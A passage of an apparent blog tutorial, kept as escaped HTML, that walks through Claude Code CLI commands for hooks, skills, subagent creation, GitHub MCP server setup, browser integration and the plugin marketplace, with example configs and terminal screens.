&lt;p&gt;&lt;em&gt;Source: Claude Code Docs, Hooks reference, &lt;a href="https://code.claude.com/docs/en/hooks#hook-lifecycle" rel="noopener noreferrer"&gt;https://code.claude.com/docs/en/hooks#hook-lifecycle&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/hooks&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;During Claude Codes agentic loop, several lifecycle events happen, for example &lt;code&gt;PreToolUse&lt;/code&gt;, &lt;code&gt;PermssionRequest&lt;/code&gt;, &lt;code&gt;PostToolUse&lt;/code&gt;, and more. At each of these phases, a deterministic command can be registered to be executed. The official documentation names several hook examples: block edits to protected files, defining hard rules about which files cannot be modified in any case, and re-inject context after compaction, referencing e.g. files that should be read in addition to the projects CLAUDE.md file, which provides permanent context.&lt;/p&gt;

&lt;p&gt;The declaration is simple: A &lt;code&gt;hook&lt;/code&gt; section in &lt;code&gt;~.claude/settings.json&lt;/code&gt; (or scoped to project/directory), which contains the lifecylce event, the concreate actions, and the hook declaration, calling a script or an inline command.&lt;/p&gt;

&lt;p&gt;Here is an example hook to run &lt;code&gt;npm lint after any tool use. Add&lt;/code&gt;, and restart the session for it to become effective.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"hooks"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"PostToolUse"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
      &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"matcher"&lt;/span&gt;: &lt;span class="s2"&gt;"Edit|Write"&lt;/span&gt;,
        &lt;span class="s2"&gt;"hooks"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
          &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"command"&lt;/span&gt;,
            &lt;span class="s2"&gt;"command"&lt;/span&gt;: &lt;span class="s2"&gt;"npm run lint"&lt;/span&gt;
          &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;]&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;]&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/skills&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Skills help an LLM to use commands effectively. They define custom behavior that is loaded and invoked by key-words or even by a custom slash command name.&lt;/p&gt;

&lt;p&gt;Defined in &lt;code&gt;~.claude/skills&lt;/code&gt;, they are essentially markdown files. These files define metadata in a frontmatter block, and then free-structured text. The current canon is to include the purpose, instructions, commands, and clear do and dont's.&lt;/p&gt;

&lt;p&gt;Here is an example skill that I defined for creating, observing, and merging GitHub pull requests, with full access to GitHub workflows.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="nn"&gt;---&lt;/span&gt;
&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;code-release&lt;/span&gt;
&lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Create&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;GitHub&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;releases&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;with&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;zipped&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;source&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;code.&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Optionally&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;publish&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;to&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;npm&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;if&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;npm-publish&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;command&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;is&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;defined.&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Use&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;when&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;user&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;asks&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;to&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;create&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;a&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;release,&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;publish&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;to&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;npm,&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;or&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;tag&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;a&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;version."&lt;/span&gt;
&lt;span class="nn"&gt;---&lt;/span&gt;

&lt;span class="gu"&gt;## Workflow&lt;/span&gt;
&lt;span class="p"&gt;
1.&lt;/span&gt; Validate project state (clean working dir, proper branch)
&lt;span class="p"&gt;2.&lt;/span&gt; Determine version number
&lt;span class="p"&gt;3.&lt;/span&gt; Create and push git tag
&lt;span class="p"&gt;4.&lt;/span&gt; Create GitHub release with zipped source
&lt;span class="p"&gt;5.&lt;/span&gt; Check for npm-publish script and run if defined
&lt;span class="p"&gt;6.&lt;/span&gt; Report completion&lt;span class="sb"&gt;


&lt;/span&gt;&lt;span class="gu"&gt;### Step 1: Validate Project State&lt;/span&gt;

Before creating a release, verify:
&lt;span class="p"&gt;
-&lt;/span&gt; &lt;span class="gs"&gt;**Clean working directory:**&lt;/span&gt; &lt;span class="sb"&gt;`git status`&lt;/span&gt; must show no uncommitted changes
&lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="gs"&gt;**Branch check:**&lt;/span&gt; Should be on &lt;span class="sb"&gt;`main`&lt;/span&gt;, &lt;span class="sb"&gt;`master`&lt;/span&gt;, or a release branch (e.g., &lt;span class="sb"&gt;`release/v*`&lt;/span&gt;)
&lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="gs"&gt;**Remote configured:**&lt;/span&gt; Verify &lt;span class="sb"&gt;`git remote -v`&lt;/span&gt; shows an origin

&lt;span class="gs"&gt;**If any validation fails:**&lt;/span&gt;
&lt;span class="p"&gt;-&lt;/span&gt; Report the issue clearly
&lt;span class="p"&gt;-&lt;/span&gt; Stop and wait for user to fix
&lt;span class="p"&gt;-&lt;/span&gt; Do not proceed with release
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Skills are powerful. Check the complete documentation to learn about additional topics like metadata fields, text substitutions to reference Claude-specific environment variables, or control that skill invocation activates a sub-agent.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/agents&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Agents are an ever-evolving entity, defined but very differently implemented in CLI tools or specific agent frameworks. Effectively, they can be boiled down to a custom prompt, tool permissions, and available tool scope.&lt;/p&gt;

&lt;p&gt;In Claude Code, agents are first-class entities: Every prompt you enter is handled by an agent. The main agentic loop is owned and executed by a single agent. Naturally, this agents’ context window becomes polluted over the course of a long session, degrading task quality. To counter this issue, specialized subagents can be spawned. They receive a new, task-specific context with just enough information, and they can be configured to a constrained set of tools, increasing their effectiveness.&lt;/p&gt;

&lt;p&gt;Subagents are built-in. When using Claude in plan mode, or when exploring large codebases, these tasks are conducted by subagents. Additionally, the &lt;code&gt;/agents&lt;/code&gt; command can be used to create custom agents.&lt;/p&gt;

&lt;p&gt;Let’s see how Claude Code creates an agent for handling GitHub pull request. Here is a full rundown of this dialog:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; /agents

────────────────────────────────────────────
 Agents
  3 agents

  ❯ Create new agent

    User agents &lt;span class="o"&gt;(&lt;/span&gt;/home/node/.claude/agents&lt;span class="o"&gt;)&lt;/span&gt;

    Built-in agents &lt;span class="o"&gt;(&lt;/span&gt;always available&lt;span class="o"&gt;)&lt;/span&gt;
    claude-code-guide · haiku
    Explore · haiku
    general-purpose · inherit
    Plan · inherit
    statusline-setup · sonnet

────────────────────────────────────────────
Create new agent
  Choose location

    1. Project &lt;span class="o"&gt;(&lt;/span&gt;.claude/agents/&lt;span class="o"&gt;)&lt;/span&gt;
  ❯ 2. Personal &lt;span class="o"&gt;(&lt;/span&gt;~/.claude/agents/&lt;span class="o"&gt;)&lt;/span&gt;

────────────────────────────────────────────
Create new agent
  Creation method

  ❯ 1. Generate with Claude &lt;span class="o"&gt;(&lt;/span&gt;recommended&lt;span class="o"&gt;)&lt;/span&gt;
    2. Manual configuration

────────────────────────────────────────────
Create new agent
  Describe what this agent should &lt;span class="k"&gt;do &lt;/span&gt;and when it should be used &lt;span class="o"&gt;(&lt;/span&gt;be comprehensive &lt;span class="k"&gt;for &lt;/span&gt;best results&lt;span class="o"&gt;)&lt;/span&gt;

  ❯ Create GitHub releases with zipped &lt;span class="nb"&gt;source &lt;/span&gt;code.
────────────────────────────────────────────
Create new agent
  Select tools

  ❯ &lt;span class="o"&gt;[&lt;/span&gt; Continue &lt;span class="o"&gt;]&lt;/span&gt;
  ────────────────────────────────────────
    ☒ All tools
    ☒ Read-only tools
    ☒ Edit tools
    ☒ Execution tools
    ☒ Other tools
  ────────────────────────────────────────
    &lt;span class="o"&gt;[&lt;/span&gt; Show advanced options &lt;span class="o"&gt;]&lt;/span&gt;

────────────────────────────────────────────
Create new agent
  Select model

  Model determines the agent&lt;span class="s1"&gt;'s reasoning capabilities and speed.

  ❯ 1. Sonnet ✔             Balanced performance - best for most agents
    2. Opus                 Most capable for complex reasoning tasks
    3. Haiku                Fast and efficient for simple tasks
    4. Inherit from parent  Use the same model as the main conversation

────────────────────────────────────────────
Create new agent
  Configure agent memory

  ❯ 1. Project scope (.claude/agent-memory/) (Recommended)
    2. None (no persistent memory)
    3. User scope (~/.claude/agent-memory/)
    4. Local scope (.claude/agent-memory-local/)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From all of these choices, the Claude Code CLI will generate the agent definition. Like a skill, this is a markdown file, with a frontmatter block and free structured text (with some conventions regarding definition and instructions of memories.)&lt;/p&gt;

&lt;p&gt;The result is surprisingly complex: 221 lines and 2460 words. Here is an excerpt:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="nn"&gt;---&lt;/span&gt;
&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;release-creator"&lt;/span&gt;
&lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Use&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;this&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;agent&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;when&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;you&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;need&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;to&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;create&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;GitHub&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;releases&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;with&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;zipped&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;source&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;code.&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;This&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;agent&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;should&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;be&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;called&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;after&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;code&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;has&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;been&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;committed&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;and&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;is&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;ready&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;for&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;distribution.&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Optionally&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;triggers&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;npm&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;publication&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;if&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;npm-publish&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;is&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;available."&lt;/span&gt;
&lt;span class="na"&gt;model&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;sonnet&lt;/span&gt;
&lt;span class="na"&gt;memory&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;user&lt;/span&gt;
&lt;span class="nn"&gt;---&lt;/span&gt;

You are a release automation expert specializing in creating GitHub releases with source code distributions and optional npm publishing.

...

&lt;span class="gs"&gt;**Decision Framework**&lt;/span&gt;:

Release Flow:
&lt;span class="p"&gt;
1.&lt;/span&gt; Determine version
   ├── From git tag → confirm or bump
   ├── From package.json → extract
   └── From user input → validate
&lt;span class="p"&gt;
2.&lt;/span&gt; Create source archive
   ├── Collect files (respecting .gitignore patterns)
   ├── Create zip with metadata
   └── Validate archive

...

&lt;span class="gh"&gt;# Persistent Agent Memory&lt;/span&gt;

You have a persistent, file-based memory system at &lt;span class="sb"&gt;`/home/node/.claude/agent-memory/release-creator/`&lt;/span&gt;. This directory already exists — write to it directly with the Write tool (do not run mkdir or check for its existence).

You should build up this memory system over time so that future conversations can have a complete picture of who the user is, how they'd like to collaborate with you, what behaviors to avoid or repeat, and the context behind the work the user gives you.

If the user explicitly asks you to remember something, save it immediately as whichever type fits best. If they ask you to forget something, find and remove the relevant entry.

...

&lt;span class="gu"&gt;## What NOT to save in memory&lt;/span&gt;
&lt;span class="p"&gt;
-&lt;/span&gt; Code patterns, conventions, architecture, file paths, or project structure — these can be derived by reading the current project state.
&lt;span class="p"&gt;-&lt;/span&gt; Git history, recent changes, or who-changed-what — &lt;span class="sb"&gt;`git log`&lt;/span&gt; / &lt;span class="sb"&gt;`git blame`&lt;/span&gt; are authoritative.
&lt;span class="p"&gt;-&lt;/span&gt; Debugging solutions or fix recipes — the fix is in the code; the commit message has the context.
&lt;span class="p"&gt;-&lt;/span&gt; Anything already documented in CLAUDE.md files.
&lt;span class="p"&gt;-&lt;/span&gt; Ephemeral task details: in-progress work, temporary state, current conversation context.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/mcp&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;MCP is an acronym for Model Context Protocol, an evolving standard defined by Anthropic itself. It defines a JSON-based schema and exchange process between an LLM invocation and any external system. This enables Claude to additionally create and execute MCP tool calls.&lt;/p&gt;

&lt;p&gt;To be used by Claude Code, an MCP server needs to be defined, which serves system-specific schema definitions. When parsing a prompt, Claude can connect with this server, browse the available definitions, and decide to invoke them. The server receives the request, processes it, and returns a structured response  to the caller.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;/mcp&lt;/code&gt; command manages defined MCP servers, and therefore we first need to add an MCP server. Lets add the official GitHub MCP server with these steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Log into GitHub&lt;/li&gt;
&lt;li&gt;Access the developer settings&lt;/li&gt;
&lt;li&gt;Create a classic token with these scopes: repo, read:org, workflow.&lt;/li&gt;
&lt;li&gt;Run following command to add the MCP server, and substitute the credentials with your created token.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; claude mcp add &lt;span class="nt"&gt;--transport&lt;/span&gt; http github https://api.githubcopilot.com/mcp/ &lt;span class="nt"&gt;--header&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer ghp_REDACTED"&lt;/span&gt;

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Added HTTP MCP server github with URL: https://api.githubcopilot.com/mcp/ to &lt;span class="nb"&gt;local &lt;/span&gt;config
Headers: &lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"Authorization"&lt;/span&gt;: &lt;span class="s2"&gt;"Bearer ghp_REDACTED"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
File modified: /home/node/.claude.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Authenticate the MCP server once by executing &lt;code&gt;/mcp&lt;/code&gt; and selecting &lt;code&gt;Enable&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;After these steps, the /mcp command can be used to see status information and concrete functions of the tools.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/mcp

Github MCP Server
│
│ Status: ✔ connected
│ Auth: ✔ authenticated
│ URL: https://api.githubcopilot.com/mcp/
│ Config location: /home/node/.claude.json
│ Capabilities: tools · prompts
│ Tools: 41 tools
│
│ ❯ 1. View tools
│   2. Re-authenticate
│   3. Clear authentication
│   4. Reconnect
│   5. Disable
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is an overview to the available tools.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; Tools &lt;span class="k"&gt;for &lt;/span&gt;github
  41 tools

  ❯ 1.  Add review comment to the requester&lt;span class="s1"&gt;'s latest pending pull request review
    2.  Add comment to issue
    3.  Add reply to pull request comment
    4.  Create branch
  ↓ 5.  Create or update file
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;MCP servers and skill serve the same purpose: Effective interactions with external systems. There are different perspectives about when to use what. Skills should be prioritized when a small, effective CLI binary exists. MCP should be used if this is not the case, and when complex, multi-step workflows need to be orchestrated. The disadvantage of MCP is its schema footprint: It becomes parts of the context, potentially leading to a model reasoning performance drop because it’s context window fills up too quickly.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/chrome&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;When the system that runs Claude Code also has a Google Chrome browser installed, this extension can start a Chrome browser session and interact with it. Example use cases are to render a developed web application, access its DOM and the JavaScript console for error messages, inspect the visual layout, e.g. processing a screenshot and investigate layout bugs, or even automate tasks in the browser.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/plugin&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Plugins are bundled skills distributed through a marketplace. They can be discovered, installed, and configured via this command.&lt;/p&gt;

&lt;p&gt;Opening the command shows a horizontal bar with four sections.&lt;/p&gt;

&lt;p&gt;Discover lists the top-downloaded plugins first, and allows to browse the list or search for specific terms. (You can also see the complete plugin catalog at &lt;a href="https://claude.com/plugins/code-review" rel="noopener noreferrer"&gt;claude.com/plugins/code-review&lt;/a&gt;).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Plugins  Discover   Installed   Marketplaces   Errors

  Discover plugins &lt;span class="o"&gt;(&lt;/span&gt;1/173&lt;span class="o"&gt;)&lt;/span&gt;
  ╭──────────────────────────────────────────────╮
  │ ⌕ Search…                                    │
  ╰──────────────────────────────────────────────╯

  ❯ ◯ frontend-design · claude-plugins-official · 702.3K installs
      Create distinctive, production-grade frontend interfaces wi…
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Installed section shows already installed plugins. Interestingly, the GitLab MCP server, added prior in this blog article, is among it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Plugins  Discover   Installed   Marketplaces   Errors

  Discover plugins &lt;span class="o"&gt;(&lt;/span&gt;1/173&lt;span class="o"&gt;)&lt;/span&gt;
  ╭──────────────────────────────────────────────╮
  │ ⌕ Search…                                    │
  ╰──────────────────────────────────────────────╯

    Local
  ❯ github MCP · ◯ disabled
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Marketplaces are the online repositories where plugins are distributed. It defaults to &lt;code&gt;anthropics/claude-plugins-official&lt;/code&gt;, but others can be installed too.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Plugins  Discover   Installed   Marketplaces   Errors

  Discover plugins &lt;span class="o"&gt;(&lt;/span&gt;1/173&lt;span class="o"&gt;)&lt;/span&gt;
  ╭──────────────────────────────────────────────╮
  │ ⌕ Search…                                    │
  ╰──────────────────────────────────────────────╯

Manage marketplaces

  ❯ + Add Marketplace

    ● ✻ claude-plugins-official ✻
      anthropics/claude-plugins-official
      172 available • Updated 5/7/2026
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, the errors section shows any misconfiguration or utilization discrepancies.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Plugins  Discover   Installed   Marketplaces   Errors

  Discover plugins &lt;span class="o"&gt;(&lt;/span&gt;1/173&lt;span class="o"&gt;)&lt;/span&gt;
  ╭──────────────────────────────────────────────╮
  │ ⌕ Search…                                    │
  ╰──────────────────────────────────────────────╯

 No plugin errors
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let’s see what a plugin installation encompasses. I choose the 'skill-creator' meta skill.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Plugins  Discover   Installed   Marketplaces   Errors

Plugin details

  skill-creator
  from claude-plugins-official

  Create new skills, improve existing skills, and measure skill performance. Use when &lt;span class="nb"&gt;users &lt;/span&gt;want to create a skill from scratch, update or optimize an
   existing skill, run evals to &lt;span class="nb"&gt;test &lt;/span&gt;a skill, or benchmark skill performance with variance analysis.

  By: Anthropic

  ⚠ Make sure you trust a plugin before installing, updating, or using it. Anthropic does not control what MCP servers, files, or other software are
    included &lt;span class="k"&gt;in &lt;/span&gt;plugins and cannot verify that they will work as intended or that they won&lt;span class="s1"&gt;'t change. See each plugin'&lt;/span&gt;s homepage &lt;span class="k"&gt;for &lt;/span&gt;more information.

  &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; Install &lt;span class="k"&gt;for &lt;/span&gt;you &lt;span class="o"&gt;(&lt;/span&gt;user scope&lt;span class="o"&gt;)&lt;/span&gt;
    Install &lt;span class="k"&gt;for &lt;/span&gt;all collaborators on this repository &lt;span class="o"&gt;(&lt;/span&gt;project scope&lt;span class="o"&gt;)&lt;/span&gt;
    Install &lt;span class="k"&gt;for &lt;/span&gt;you, &lt;span class="k"&gt;in &lt;/span&gt;this repo only &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;local &lt;/span&gt;scope&lt;span class="o"&gt;)&lt;/span&gt;
    Open homepage
    Back to plugin list
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This plugin is installed in the &lt;code&gt;~/.claude/plugins&lt;/code&gt; folder. And inspecting its content shows that it resembles a skill with additional scripts to ensure a more deterministic usage.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/home/node/.claude/plugins/marketplaces/claude-plugins-official/plugins/skill-creator/
|-- LICENSE
|-- README.md
&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt; skills
    &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt; skill-creator
        |-- LICENSE.txt
        |-- SKILL.md
        |-- agents
        |   |-- analyzer.md
        |   |-- comparator.md
        |   &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt; grader.md
        |-- assets
        |   &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt; eval_review.html
        |-- eval-viewer
        |   |-- generate_review.py
        |   &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt; viewer.html
        |-- references
        |   &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt; schemas.md
        &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt; scripts
            |-- __init__.py
            |-- aggregate_benchmark.py
            |-- generate_report.py
            |-- improve_description.py
            |-- package_skill.py
            |-- quick_validate.py
            |-- run_eval.py
            |-- run_loop.py
            &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt; utils.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/reload-plugins&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;This command is mandatory when a new plugin was installed – it needs to be run once to active them in the current session.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/reload-plugins
  ⎿  Reloaded: 1 plugin · 0 skills · 7 agents · 0 hooks · 0 plugin MCP servers · 0 plugin LSP servers
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Integrations
&lt;/h2&gt;

&lt;p&gt;These commands setup and configure integrations of the Claude Code CLI to other programs and apps installed on your computer.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/ide&lt;/code&gt;
&lt;/h3&gt;

